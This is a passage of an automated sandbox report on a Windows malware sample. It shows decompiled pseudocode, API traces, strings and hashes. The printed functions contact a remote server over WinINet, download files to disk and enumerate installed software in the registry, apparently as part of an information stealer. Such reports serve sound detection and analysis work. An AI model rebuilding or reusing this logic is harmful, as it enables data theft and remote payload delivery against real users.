							if(_v2292 != 0) {
								while(1) {
									_v4304 = InternetReadFile(_v8,  &_v4300, 0x7cf,  &_v4308);
									if(_v4304 == 0) {
										break;
									}
									_t122 = _v4308;
									if(_v4308 != 0) {
										 *((char*)(_t107 + _v4308 - 0x10c8)) = 0;
										 *0x41aa24( &_v2012,  &_v4300);
										continue;
									}
									break;
								}
							}
						}
						InternetCloseHandle(_v8);
					}
					InternetCloseHandle(_v2016);
				}
				InternetCloseHandle(_v2020);
				return E00404830(_v2020, _t122,  &_v2012);
			}

0x004051a0
0x004051a8
0x004051bb
0x004051d3
0x004051d9
0x004051e3
0x004051ea
0x004051f2
0x004051fb
0x004051fd
0x004051fd
0x0040520b
0x00405211
0x0040522d
0x00405237
0x0040527e
0x00405239
0x00405259
0x00405259
0x0040528b
0x00405295
0x004052e0
0x00405297
0x004052b9
0x004052b9
0x004052e7
0x004052ed
0x004052f7
0x00405312
0x00405327
0x0040534b
0x0040536f
0x00405374
0x00405309
0x00405309
0x0040530c
0x00000000
0x0040534d
0x0040534d
0x00405358
0x00405361
0x00000000
0x00405363
0x00405363
0x00405363
0x00405361
0x00000000
0x0040534b
0x00405383
0x00405385
0x004053a2
0x004053af
0x00000000
0x00000000
0x004053b1
0x004053b8
0x004053c2
0x004053d8
0x00000000
0x004053d8
0x00000000
0x004053b8
0x004053ba
0x00405383
0x004053e4
0x004053e4
0x004053f1
0x004053f1
0x004053fe
0x00405416

APIs

InternetOpenA.WININET(0041401A,00000000,00000000,00000000,00000000), ref: 004051CD
StrCmpCA.SHLWAPI(00000000,https://), ref: 004051F3
InternetSetOptionA.WININET(00000000,00000006,000927C0,00000004), ref: 0040522D
InternetConnectA.WININET(00000000,006122D0,000001BB,00000000,00000000,00000003,00000000,00000000), ref: 00405253
InternetConnectA.WININET(00000000,006122D0,00000050,00000000,00000000,00000003,00000000,00000000), ref: 00405278
HttpOpenRequestA.WININET(00000000,?,0040672D,00000000,00000000,00000000,00C00100,00000000), ref: 004052B3
HttpOpenRequestA.WININET(00000000,?,0040672D,00000000,00000000,00000000,00400100,00000000), ref: 004052DA
HttpSendRequestA.WININET(00000000,00000000,00000000,00000000,00000000), ref: 00405327
HttpQueryInfoA.WININET(00000000,00000013,?,00000100,00000000), ref: 00405343
StrCmpCA.SHLWAPI(?,200), ref: 00405359
Sleep.KERNEL32(00007530), ref: 00405374
InternetReadFile.WININET(00000000,?,000007CF,?), ref: 0040539C
lstrcat.KERNEL32(?,00000000), ref: 004053D8
InternetCloseHandle.WININET(00000000), ref: 004053E4
InternetCloseHandle.WININET(00000000), ref: 004053F1
InternetCloseHandle.WININET(00000000), ref: 004053FE

Part of subcall function 00404830: memset.MSVCRT ref: 00404852
Part of subcall function 00404830: CryptStringToBinaryA.CRYPT32(00000000,00000000,00000000,006122D0), ref: 0040487E
Part of subcall function 00404830: CryptStringToBinaryA.CRYPT32(00000000,00000000,00000000,00000000,00000000), ref: 004048A6

Strings

https://, xrefs: 004051EA
200, xrefs: 0040534D

Memory Dump Source

Source File: 00000019.00000002.391450461.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000019.00000002.391492127.000000000042C000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_25_2_400000_D675.jbxd

Similarity

API ID: Internet$Http$CloseHandleOpenRequest$BinaryConnectCryptString$FileInfoOptionQueryReadSendSleeplstrcatmemset
String ID: 200$https://
API String ID: 3903783505-2276523601
Opcode ID: ed28bf1071449e7ad06a5ff83b2de2c6207da898ebd1a13e635f1ef9f3c0d26e
Instruction ID: 3a11fd38065f95ba9f916252f7cceca424cf4b116932673e0c024cd65fd50a4c
Opcode Fuzzy Hash: ed28bf1071449e7ad06a5ff83b2de2c6207da898ebd1a13e635f1ef9f3c0d26e
Instruction Fuzzy Hash: F3612B71A45359ABEB24DB60CC49FDA77B4EB08740F1085AAB6097A1C0C7B86A84CF59

Uniqueness

Uniqueness Score: -1.00%

Function 0058C530, Relevance: 31.6, APIs: 15, Strings: 3, Instructions: 109libraryloaderCOMMON

Download Yara Rule

APIs

GetProcAddress.KERNEL32(0041AA64,0041A718), ref: 0058C582
GetProcAddress.KERNEL32(0041AA64,p_), ref: 0058C59A
GetProcAddress.KERNEL32(0041AA64,0041A5BC), ref: 0058C5B2
GetProcAddress.KERNEL32(0041AA64,0041A4B0), ref: 0058C5CB
GetProcAddress.KERNEL32(0041AA64,(`), ref: 0058C5E3
GetProcAddress.KERNEL32(0041AA64,0041A7D4), ref: 0058C5FB
GetProcAddress.KERNEL32(0041AA64,0041A324), ref: 0058C614
GetProcAddress.KERNEL32(0041AA64,@`), ref: 0058C62C
GetProcAddress.KERNEL32(0041AA64,0041A7B0), ref: 0058C644
GetProcAddress.KERNEL32(0041AA64,0041A218), ref: 0058C65D
GetProcAddress.KERNEL32(0041AA64,004192A0), ref: 0058C673
LoadLibraryA.KERNEL32(0041A0F8,?,00586DC2), ref: 0058C685
LoadLibraryA.KERNEL32(0041A658,?,00586DC2), ref: 0058C697
GetProcAddress.KERNEL32(0041A854,0041A594), ref: 0058C6B8
GetProcAddress.KERNEL32(0041A934,0041A0B8), ref: 0058C6D9

Strings

@`, xrefs: 0058C61F, 0058C624
p_, xrefs: 0058C58D, 0058C592
(`, xrefs: 0058C5D6, 0058C5DB

Memory Dump Source

Source File: 00000019.00000002.391583976.0000000000580000.00000040.00000001.sdmp, Offset: 00580000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_25_2_580000_D675.jbxd

Similarity

API ID: AddressProc$LibraryLoad
String ID: (`$@`$p_
API String ID: 2238633743-799761257
Opcode ID: 2656e5721d2e72d8ddd254abdf4fc75b759c6e6593f162f059aa174bfdec3ac2
Instruction ID: f7b2741026bcabba55d3a21311a22989b37beb00417d051c2965f8f336ece50b
Opcode Fuzzy Hash: 2656e5721d2e72d8ddd254abdf4fc75b759c6e6593f162f059aa174bfdec3ac2
Instruction Fuzzy Hash: CD4173F5523200DFC344DFA8EE489A23BB9BB8C251705C939E509C3672D73895A1CF6A

Uniqueness

Uniqueness Score: -1.00%

Function 0040B330, Relevance: 29.9, APIs: 15, Strings: 2, Instructions: 129
registryCOMMON

Download Yara Rule

C-Code - Quality: 48%

			E0040B330(intOrPtr _a4) {
				int _v8;
				char _v1036;
				char _v2060;
				void* _v2064;
				void* _v2068;
				long _v2072;
				int _v2076;
				char _v3100;
				int _v3104;
				long _t44;
				char* _t69;
				char* _t77;
				char* _t84;
				char* _t87;
				void* _t92;

				_v2068 = 0;
				_v2064 = 0;
				_v2072 = 0;
				_v8 = 0xf003f;
				_v2076 = 0;
				_t69 =  *0x41a230; // 0x61aec0
				_t44 = RegOpenKeyExA(0x80000002, _t69, 0, 0x20019,  &_v2068);
				if(_t44 == 0) {
					_v3104 = 0;
					while(_v2072 == 0) {
						_v2076 = 0x400;
						_v2072 = RegEnumKeyExA(_v2068, _v3104,  &_v1036,  &_v2076, 0, 0, 0, 0);
						if(_v2072 != 0) {
							L14:
							_v3104 = _v3104 + 1;
							continue;
						}
						_push( &_v1036);
						_t84 =  *0x41a230; // 0x61aec0
						_push(_t84);
						wsprintfA( &_v2060, "%s\%s");
						_t92 = _t92 + 0x10;
						if(RegOpenKeyExA(0x80000002,  &_v2060, 0, 0x20019,  &_v2064) == 0) {
							_v2076 = 0x400;
							_t87 =  *0x41a71c; // 0x6197b0
							if(RegQueryValueExA(_v2064, _t87, 0,  &_v8,  &_v3100,  &_v2076) == 0) {
								_push( &_v3100);
								if( *0x41a908() > 1) {
									 *0x41aa24(_a4,  &_v3100);
									_v2076 = 0x400;
									_t77 =  *0x41a450; // 0x619870
									if(RegQueryValueExA(_v2064, _t77, 0,  &_v8,  &_v3100,  &_v2076) == 0) {
										 *0x41aa24(_a4, " ");
										 *0x41aa24(_a4,  &_v3100);
									}
									 *0x41aa24(_a4, "\n");
								}
							}
							RegCloseKey(_v2064);
							goto L14;
						}
						RegCloseKey(_v2064);
						return RegCloseKey(_v2068);
					}
					return RegCloseKey(_v2068);
				}
				return _t44;
			}

0x0040b339
0x0040b343
0x0040b34d
0x0040b357
0x0040b35e
0x0040b376
0x0040b382
0x0040b38a
0x0040b391
0x0040b3ac
0x0040b3b9
0x0040b3ed
0x0040b3fa
0x0040b535
0x0040b3a6
0x00000000
0x0040b3a6
0x0040b406
0x0040b407
0x0040b40d
0x0040b41a
0x0040b420
0x0040b445
0x0040b466
0x0040b484
0x0040b49a
0x0040b4a6
0x0040b4b0
0x0040b4bd
0x0040b4c3
0x0040b4e1
0x0040b4f7
0x0040b502
0x0040b513
0x0040b513
0x0040b522
0x0040b522
0x0040b4b0
0x0040b52f
0x00000000
0x0040b52f
0x0040b44e
0x00000000
0x0040b45b
0x00000000
0x0040b541
0x00000000

APIs

RegOpenKeyExA.ADVAPI32(80000002,0061AEC0,00000000,00020019,00000000), ref: 0040B382
RegEnumKeyExA.ADVAPI32(00000000,00000000,?,00000400,00000000,00000000,00000000,00000000), ref: 0040B3E7
wsprintfA.USER32 ref: 0040B41A
RegOpenKeyExA.ADVAPI32(80000002,?,00000000,00020019,00000000), ref: 0040B43D
RegCloseKey.ADVAPI32(00000000), ref: 0040B44E
RegCloseKey.ADVAPI32(00000000), ref: 0040B45B

Strings

?, xrefs: 0040B357
%s\%s, xrefs: 0040B40E

Memory Dump Source

Source File: 00000019.00000002.391450461.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000019.00000002.391492127.000000000042C000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_25_2_400000_D675.jbxd

Similarity

API ID: CloseOpen$Enumwsprintf
String ID: %s\%s$?
API String ID: 2323328657-4134130046
Opcode ID: 633d1f22a7f17ada43fb024a05cd16ca398fc31fbc6fe5000daf135038cd0860
Instruction ID: e40631872db9b85caa783e97e8400b31f68121603665a09a8b222e6f0c3b8f21
Opcode Fuzzy Hash: 633d1f22a7f17ada43fb024a05cd16ca398fc31fbc6fe5000daf135038cd0860
Instruction Fuzzy Hash: A2513CB1911218ABDB10CB50CD48FEA77B8FF48304F00C5A9A249A6180DB789AC5CFD9

Uniqueness

Uniqueness Score: -1.00%

Function 00411520, Relevance: 28.1, APIs: 9, Strings: 7, Instructions: 96stringCOMMON

Download Yara Rule

APIs

lstrlen.KERNEL32(?,?,?,00412A9A,?), ref: 00411528
StrCmpCA.SHLWAPI(?,00419340,?,00412A9A,?), ref: 00411575
StrCmpCA.SHLWAPI(?,.zip,?,00412A9A,?), ref: 0041158F
StrCmpCA.SHLWAPI(?,.zoo,?,00412A9A,?), ref: 004115A9

Strings

.arc, xrefs: 004115B7
.lzh, xrefs: 004115CE
.gz, xrefs: 004115FC
.arj, xrefs: 004115E5
.zoo, xrefs: 004115A0
.zip, xrefs: 00411586
.tgz, xrefs: 00411613

Memory Dump Source

Source File: 00000019.00000002.391450461.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000019.00000002.391492127.000000000042C000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_25_2_400000_D675.jbxd

Similarity

API ID: lstrlen
String ID: .arc$.arj$.gz$.lzh$.tgz$.zip$.zoo
API String ID: 1659193697-51310709
Opcode ID: 430f65423b4f0def573a6f751fbc7bb6154696510ea6a2334855bcd8a57c314c
Instruction ID: d5930b3a33e29c7b2ebfdd29e75950525031afcffcbb0299905607ea0d7068d1
Opcode Fuzzy Hash: 430f65423b4f0def573a6f751fbc7bb6154696510ea6a2334855bcd8a57c314c
Instruction Fuzzy Hash: DD318479B04204FB8B00DFB0C9849FF77B6AE59740B248056F61697760D239DE81EB5D

Uniqueness

Uniqueness Score: -1.00%

Function 004049E0, Relevance: 26.4, APIs: 13, Strings: 2, Instructions: 141
networkfileCOMMON

Download Yara Rule

C-Code - Quality: 74%

			E004049E0(void* __ecx, char* _a4, CHAR* _a8) {
				intOrPtr _v8;
				void* _v12;
				long _v16;
				void* _v20;
				struct _OVERLAPPED* _v24;
				void _v1052;
				long _v1060;
				void* _v1064;
				long _v1068;
				void _v1324;
				long _v1328;
				struct _OVERLAPPED* _v1332;
				void* _t43;
				long _t46;
				int _t55;
				int _t58;
				long _t61;
				long _t65;
				long _t75;

				_v24 = 0;
				_v16 = 0;
				_v1068 = 0x100;
				_t43 = InternetOpenA(0x41401a, 1, 0, 0, 0);
				_v1064 = _t43;
				if(_v1064 != 0) {
					_t46 =  *0x41aa4c(E00404970(__ecx, __eflags, _a4), "https");
					__eflags = _t46;
					if(_t46 == 0) {
						_v16 = 1;
					}
					_v1332 = 0;
					while(1) {
						__eflags = _v1332 - 6;
						if(_v1332 >= 6) {
							break;
						}
						__eflags = _v16;
						if(_v16 == 0) {
							_v12 = InternetOpenUrlA(_v1064, _a4, 0, 0, 0x100, 0);
						} else {
							_v12 = InternetOpenUrlA(_v1064, _a4, 0, 0, 0x800100, 0);
						}
						_t61 = HttpQueryInfoA(_v12, 0x13,  &_v1324,  &_v1068, 0);
						__eflags = _t61;
						if(_t61 == 0) {
							L14:
							_t75 =  &(_v1332->Internal);
							__eflags = _t75;
							_v1332 = _t75;
							continue;
						} else {
							_t65 =  *0x41aa4c( &_v1324, "200");
							__eflags = _t65;
							if(_t65 != 0) {
								Sleep(0x7530);
								goto L14;
							}
							break;
						}
					}
					_v20 = CreateFileA(_a8, 0x40000000, 3, 0, 2, 0x80, 0);
					while(1) {
						__eflags = 1;
						if(1 == 0) {
							break;
						}
						_t55 = InternetReadFile(_v12,  &_v1052, 0x400,  &_v1060);
						__eflags = _t55;
						if(_t55 == 0) {
							L21:
							break;
						}
						__eflags = _v1060;
						if(_v1060 <= 0) {
							L22:
							_v8 = _v8 + _v1060;
							__eflags = _v1060 - 0x400;
							if(_v1060 >= 0x400) {
								continue;
							}
							break;
						}
						_t58 = WriteFile(_v20,  &_v1052, _v1060,  &_v1328, 0);
						__eflags = _t58;
						if(_t58 == 0) {
							goto L21;
						}
						__eflags = _v1060 - _v1328;
						if(_v1060 == _v1328) {
							goto L22;
						}
						goto L21;
					}
					E0040B720( &_v1052, 0x400);
					CloseHandle(_v20);
					InternetCloseHandle(_v12);
					return InternetCloseHandle(_v1064);
				}
				return _t43;
			}

0x004049e9
0x004049f0
0x004049f7
0x00404a0e
0x00404a14
0x00404a21
0x00404a3a
0x00404a40
0x00404a42
0x00404a44
0x00404a44
0x00404a4b
0x00404a66
0x00404a66
0x00404a6d
0x00000000
0x00000000
0x00404a73
0x00404a77
0x00404ab6
0x00404a79
0x00404a95
0x00404a95
0x00404acf
0x00404ad5
0x00404ad7
0x00404afc
0x00404a5d
0x00404a5d
0x00404a60
0x00000000
0x00404ad9
0x00404ae5
0x00404aeb
0x00404aed
0x00404af6
0x00000000
0x00404af6
0x00000000
0x00404aef
0x00404ad7
0x00404b1d
0x00404b20
0x00404b25
0x00404b27
0x00000000
0x00000000
0x00404b40
0x00404b46
0x00404b48
0x00404b86
0x00000000
0x00404b86
0x00404b4a
0x00404b51
0x00404b88
0x00404b91
0x00404b94
0x00404b9e
0x00000000
0x00404ba2
0x00000000
0x00404ba0
0x00404b6e
0x00404b74
0x00404b76
0x00000000
0x00000000
0x00404b7e
0x00404b84
0x00000000
0x00000000
0x00000000
0x00404b84
0x00404bb3
0x00404bbc
0x00404bc6
0x00000000
0x00404bd3
0x00000000

APIs

InternetOpenA.WININET(0041401A,00000001,00000000,00000000,00000000), ref: 00404A0E
StrCmpCA.SHLWAPI(00000000,https), ref: 00404A3A
InternetOpenUrlA.WININET(00000000,?,00000000,00000000,00800100,00000000), ref: 00404A8F
HttpQueryInfoA.WININET(?,00000013,?,00000100,00000000), ref: 00404ACF
StrCmpCA.SHLWAPI(?,200), ref: 00404AE5
CreateFileA.KERNEL32(00000000,40000000,00000003,00000000,00000002,00000080,00000000), ref: 00404B17
InternetReadFile.WININET(?,?,00000400,?), ref: 00404B40
WriteFile.KERNEL32(?,?,00000000,?,00000000), ref: 00404B6E
CloseHandle.KERNEL32(?,?,00000400), ref: 00404BBC
InternetCloseHandle.WININET(?), ref: 00404BC6
InternetCloseHandle.WININET(00000000), ref: 00404BD3

Strings

https, xrefs: 00404A28
200, xrefs: 00404AD9

Memory Dump Source

Source File: 00000019.00000002.391450461.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000019.00000002.391492127.000000000042C000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_25_2_400000_D675.jbxd

Similarity

API ID: Internet$CloseFileHandle$Open$CreateHttpInfoQueryReadWrite
String ID: 200$https
API String ID: 1681390745-2945048398
Opcode ID: c31e8308ac884f8f2725585f2c0d583281fa0a271bead2ab3ea92c6ff43d03ad
Instruction ID: fb624ede4d81cfb8019f53897a3e05eb4db491724901a2fa6b1ef0cdd0b3c389
Opcode Fuzzy Hash: c31e8308ac884f8f2725585f2c0d583281fa0a271bead2ab3ea92c6ff43d03ad
Instruction Fuzzy Hash: 8F5141F1A40208ABDB10DB90DC45FEA77B8BB88715F1080A9F705B62C0D778AA80CF5D

Uniqueness

Uniqueness Score: -1.00%

Function 005853F0, Relevance: 24.2, APIs: 16, Instructions: 172networksleepfileCOMMON

Download Yara Rule

APIs

InternetOpenA.WININET(0041401A,00000000,00000000,00000000,00000000), ref: 0058541D
StrCmpCA.SHLWAPI(00000000,00418B90), ref: 00585443
InternetSetOptionA.WININET(00000000,00000006,000927C0,00000004), ref: 0058547D
InternetConnectA.WININET(00000000,?,000001BB,00000000,00000000,00000003,00000000,00000000), ref: 005854A3
InternetConnectA.WININET(00000000,?,00000050,00000000,00000000,00000003,00000000,00000000), ref: 005854C8
HttpOpenRequestA.WININET(00000000,?,?,00000000,00000000,00000000,00C00100,00000000), ref: 00585503
HttpOpenRequestA.WININET(00000000,?,?,00000000,00000000,00000000,00400100,00000000), ref: 0058552A
HttpSendRequestA.WININET(00000000,00000000,00000000,00000000,00000000), ref: 00585577
HttpQueryInfoA.WININET(00000000,00000013,?,00000100,00000000), ref: 00585593
StrCmpCA.SHLWAPI(?,00418B8C), ref: 005855A9
Sleep.KERNEL32(00007530), ref: 005855C4
InternetReadFile.WININET(00000000,?,000007CF,?), ref: 005855EC
lstrcat.KERNEL32(?,00000000), ref: 00585628
InternetCloseHandle.WININET(00000000), ref: 00585634
InternetCloseHandle.WININET(00000000), ref: 00585641
InternetCloseHandle.WININET(00000000), ref: 0058564E

Part of subcall function 00584A80: CryptStringToBinaryA.CRYPT32(?,00000000,00000000), ref: 00584ACE
Part of subcall function 00584A80: CryptStringToBinaryA.CRYPT32(?,00000000,00000000,00000000), ref: 00584AF6

Memory Dump Source

Source File: 00000019.00000002.391583976.0000000000580000.00000040.00000001.sdmp, Offset: 00580000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_25_2_580000_D675.jbxd

Similarity

API ID: Internet$Http$CloseHandleOpenRequest$BinaryConnectCryptString$FileInfoOptionQueryReadSendSleeplstrcat
String ID:
API String ID: 381316015-0
Opcode ID: a6722cafb6227cf9e283476907adda51c7ac685d6552fbd8e5ce2c83df479042
Instruction ID: 695ab821578f17e24720db6e7ead24cbc0e24966671cf06911271cbf93b4a87f
Opcode Fuzzy Hash: a6722cafb6227cf9e283476907adda51c7ac685d6552fbd8e5ce2c83df479042
Instruction Fuzzy Hash: E7614E71A41359ABEB24DF50CC49FE97BB4BB48700F108599F6097A1C0D7B46A84CF55

Uniqueness

Uniqueness Score: -1.00%

Function 005868A0, Relevance: 22.9, APIs: 9, Strings: 4, Instructions: 176stringCOMMON

Download Yara Rule

APIs

Part of subcall function 0058BB00: GetSystemTime.KERNEL32(?,?,00000104), ref: 0058BB21

lstrcat.KERNEL32(?,00000000), ref: 00586909
lstrcat.KERNEL32(?,0041A260), ref: 0058691D
lstrcat.KERNEL32(?,0041A368), ref: 00586930
lstrcat.KERNEL32(?,xTa), ref: 00586944
lstrcat.KERNEL32(?,Hha), ref: 00586958

Part of subcall function 005853F0: InternetOpenA.WININET(0041401A,00000000,00000000,00000000,00000000), ref: 0058541D
Part of subcall function 005853F0: StrCmpCA.SHLWAPI(00000000,00418B90), ref: 00585443
Part of subcall function 005853F0: InternetSetOptionA.WININET(00000000,00000006,000927C0,00000004), ref: 0058547D
Part of subcall function 005853F0: InternetConnectA.WININET(00000000,?,000001BB,00000000,00000000,00000003,00000000,00000000), ref: 005854A3
Part of subcall function 005853F0: HttpOpenRequestA.WININET(00000000,?,?,00000000,00000000,00000000,00C00100,00000000), ref: 00585503
Part of subcall function 005853F0: HttpSendRequestA.WININET(00000000,00000000,00000000,00000000,00000000), ref: 00585577
Part of subcall function 005853F0: HttpQueryInfoA.WININET(00000000,00000013,?,00000100,00000000), ref: 00585593
Part of subcall function 005853F0: StrCmpCA.SHLWAPI(?,00418B8C), ref: 005855A9

lstrcat.KERNEL32(?,00000000), ref: 00586988

Part of subcall function 00586570: lstrcat.KERNEL32(?,?), ref: 005865E4

Part of subcall function 00584C30: InternetOpenA.WININET(0041401A,00000001,00000000,00000000,00000000), ref: 00584C5E

Part of subcall function 0058A950: GetProcessHeap.KERNEL32(00000000,000F423F,?,005869FC,?,0041ABA4,0041ABAC,0041ABA8,?,00000104,?,00001388), ref: 0058A95A
Part of subcall function 0058A950: RtlAllocateHeap.NTDLL(00000000,?,005869FC), ref: 0058A961

Part of subcall function 00585930: GetProcessHeap.KERNEL32(00000000,000F423F), ref: 0058593B
Part of subcall function 00585930: RtlAllocateHeap.NTDLL(00000000), ref: 00585942
Part of subcall function 00585930: lstrcat.KERNEL32(?,0041A6E4), ref: 00585955
Part of subcall function 00585930: lstrcat.KERNEL32(?,0041A22C), ref: 00585966
Part of subcall function 00585930: lstrcat.KERNEL32(?,00418BC0), ref: 00585975
Part of subcall function 00585930: lstrcat.KERNEL32(?,0041A6C4), ref: 00585986
Part of subcall function 00585930: lstrcat.KERNEL32(?,00418BC4), ref: 00585995
Part of subcall function 00585930: lstrcat.KERNEL32(?,XUa), ref: 005859A6
Part of subcall function 00585930: lstrcat.KERNEL32(?,00418BC0), ref: 005859B5
Part of subcall function 00585930: lstrcat.KERNEL32(?,0041A79C), ref: 005859C6
Part of subcall function 00585930: GetCurrentProcessId.KERNEL32 ref: 005859CC
Part of subcall function 00585930: lstrcat.KERNEL32(?,00000000), ref: 005859E0
Part of subcall function 00585930: lstrcat.KERNEL32(?,00418BC0), ref: 005859EF
Part of subcall function 00585930: lstrcat.KERNEL32(?,Xja), ref: 005859FF
Part of subcall function 00585930: lstrcat.KERNEL32(?,00000000), ref: 00585A0F
Part of subcall function 00585930: lstrcat.KERNEL32(?,00418BC4), ref: 00585A1E
Part of subcall function 00585930: lstrcat.KERNEL32(?,pja), ref: 00585A2F
Part of subcall function 00585930: lstrcat.KERNEL32(?,00000000), ref: 00585A3F
Part of subcall function 00585930: lstrcat.KERNEL32(?,00418BC0), ref: 00585A4E
Part of subcall function 00585930: lstrcat.KERNEL32(?,xUa), ref: 00585A5F
Part of subcall function 00585930: lstrcat.KERNEL32(?,00000000), ref: 00585A6F
Part of subcall function 00585930: lstrcat.KERNEL32(?,00418BC4), ref: 00585A7E

lstrcat.KERNEL32(?,00000000), ref: 00586A9E
SetCurrentDirectoryA.KERNEL32(0041A6A8,?,?,?,?,?,00001388,?,?,?,?,?,?,?,?,00000104), ref: 00586AAB
lstrlen.KERNEL32(?,?,?,?,?,?,00001388,?,?,?,?,?,?,?,?,00000104), ref: 00586AB8

Strings

Hha, xrefs: 0058694A, 00586950
``a, xrefs: 0058695E, 00586963
8wa, xrefs: 005869B5, 005869BB
xTa, xrefs: 00586936, 0058693C, 0058696B, 00586971, 00586A81, 00586A87

Memory Dump Source

Source File: 00000019.00000002.391583976.0000000000580000.00000040.00000001.sdmp, Offset: 00580000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_25_2_580000_D675.jbxd

Similarity

API ID: lstrcat$HeapInternet$HttpOpenProcess$AllocateCurrentRequest$ConnectDirectoryInfoOptionQuerySendSystemTimelstrlen
String ID: 8wa$Hha$``a$xTa
API String ID: 2767677664-3176268880
Opcode ID: 086d614e0f8ceeab508543bd7818011aace6c64de742493a2a319ccd1d6628aa
Instruction ID: 73cecea4587596a941103d6540229bad1bfc8c262b5e21e256456025af349597
Opcode Fuzzy Hash: 086d614e0f8ceeab508543bd7818011aace6c64de742493a2a319ccd1d6628aa
Instruction Fuzzy Hash: 5D6156B6901218EBDB11FBA0DC49DDA77BCBB48700F0085D5F709A3151DA34EA95CF65

Uniqueness

Uniqueness Score: -1.00%

Function 00406650, Relevance: 22.9, APIs: 9, Strings: 4, Instructions: 176
stringCOMMON

Download Yara Rule

C-Code - Quality: 68%

			E00406650(void* __ecx, void* __eflags) {
				char _v5004;
				char _v5268;
				char _v10268;
				char _v10272;
				char _v10276;
				char _v10540;
				char _v10544;
				intOrPtr _t46;
				intOrPtr _t51;
				intOrPtr _t52;
				intOrPtr _t61;
				intOrPtr _t71;
				void* _t76;
				intOrPtr _t90;
				intOrPtr _t92;
				intOrPtr _t93;
				intOrPtr _t97;
				intOrPtr _t101;
				intOrPtr _t107;
				intOrPtr _t109;
				intOrPtr _t111;
				intOrPtr _t112;
				intOrPtr _t116;
				CHAR* _t117;
				void* _t121;
				void* _t129;
				void* _t133;

				_t133 = __eflags;
				E004139B0(0x292c, __ecx);
				_v10544 = E00413730(0, 0x6400000, 0);
				E0040B720( &_v5268, 0x104);
				E0040B720( &_v10268, 0x1388);
				E0040B720( &_v10540, 0x104);
				 *0x41aa24( &_v5268, E0040B8B0( &_v10268, _t133, 0x10));
				_t90 =  *0x41a260; // 0x600420
				 *0x41aa24( &_v5268, _t90);
				_t46 =  *0x41a368; // 0x6122d0
				 *0x41aa24( &_v10540, _t46);
				_t107 =  *0x41a7c4; // 0x615478
				 *0x41aa24( &_v10540, _t107);
				_t92 =  *0x41a76c; // 0x616848
				 *0x41aa24( &_v10540, _t92);
				_t51 =  *0x41a714; // 0x616060
				_t93 =  *0x41a288; // 0x616a10
				_t109 =  *0x41a7c4; // 0x615478
				_t52 =  *0x41a368; // 0x6122d0
				 *0x41aa24( &_v10268, E004051A0(_t93, _t133, _t52, _t109, _t93, _t51));
				E00406320( &_v10268, _t133,  &_v10268, _v10544);
				E0040B720( &_v10268, 0x1388);
				_t111 =  *0x41a6a4; // 0x617738
				E004049E0( &_v10268,  &_v10540, _t111);
				E0040B720( &_v10540, 0x104);
				_t112 =  *0x41aba8; // 0x0
				_t61 =  *0x41abac; // 0x0
				_t97 =  *0x41aba4; // 0x0
				E0040A700(_t133, _v10544, _t97, _t61, _t112);
				E00401470(_v10544);
				E004056E0(_v10544, _t133, _v10544);
				_t129 = _t121 + 0x48;
				_t134 =  *0x41abb0;
				if( *0x41abb0 != 0) {
					E0040BCF0(_t134, 0x41, _v10544);
					_t129 = _t129 + 8;
				}
				E00413800(_v10544,  &_v10276,  &_v10272);
				E0040B720( &_v5004, 0x1388);
				_t101 =  *0x41a288; // 0x616a10
				_t116 =  *0x41a7c4; // 0x615478
				_t71 =  *0x41a368; // 0x6122d0
				 *0x41aa24( &_v5004, E00404BE0(_t101, _t134, _t71, _t116, _t101,  &_v5268, _v10276, _v10272));
				_t117 =  *0x41a6a8; // 0x6189f8
				SetCurrentDirectoryA(_t117);
				_t76 =  *0x41a908( &_v5004);
				_t135 = _t76 - 5;
				if(_t76 > 5) {
					E00405B00(_t135,  &_v5004);
				}
				E0040B720( &_v5268, 0x104);
				E0040B720( &_v5004, 0x1388);
				E0040B720( &_v10276, 4);
				E0040B720( &_v10272, 4);
				E0040B720( &_v10544, 4);
				E00405DE0();
				 *0x41abb4 = 1;
				return 0;
			}

0x00406650
0x00406658
0x0040666e
0x00406680
0x00406691
0x004066a2
0x004066b9
0x004066bf
0x004066cd
0x004066d3
0x004066e0
0x004066e6
0x004066f4
0x004066fa
0x00406708
0x0040670e
0x00406714
0x0040671b
0x00406722
0x00406738
0x0040674c
0x00406760
0x00406765
0x00406773
0x00406787
0x0040678c
0x00406793
0x00406799
0x004067a7
0x004067b6
0x004067c5
0x004067ca
0x004067cd
0x004067d4
0x004067df
0x004067e4
0x004067e4
0x004067fc
0x00406810
0x0040682a
0x00406831
0x00406838
0x0040684e
0x00406854
0x0040685b
0x00406868
0x0040686e
0x00406871
0x0040687a
0x0040687f
0x0040688e
0x0040689f
0x004068ad
0x004068bb
0x004068c9
0x004068ce
0x004068d3
0x004068e2

APIs

Part of subcall function 0040B8B0: GetSystemTime.KERNEL32(?,?,00000104), ref: 0040B8D1

lstrcat.KERNEL32(?,00000000), ref: 004066B9
lstrcat.KERNEL32(?,00600420), ref: 004066CD
lstrcat.KERNEL32(?,006122D0), ref: 004066E0
lstrcat.KERNEL32(?,00615478), ref: 004066F4
lstrcat.KERNEL32(?,00616848), ref: 00406708

Part of subcall function 004051A0: InternetOpenA.WININET(0041401A,00000000,00000000,00000000,00000000), ref: 004051CD
Part of subcall function 004051A0: StrCmpCA.SHLWAPI(00000000,https://), ref: 004051F3
Part of subcall function 004051A0: InternetSetOptionA.WININET(00000000,00000006,000927C0,00000004), ref: 0040522D
Part of subcall function 004051A0: InternetConnectA.WININET(00000000,006122D0,000001BB,00000000,00000000,00000003,00000000,00000000), ref: 00405253
Part of subcall function 004051A0: HttpOpenRequestA.WININET(00000000,?,0040672D,00000000,00000000,00000000,00C00100,00000000), ref: 004052B3
Part of subcall function 004051A0: HttpSendRequestA.WININET(00000000,00000000,00000000,00000000,00000000), ref: 00405327
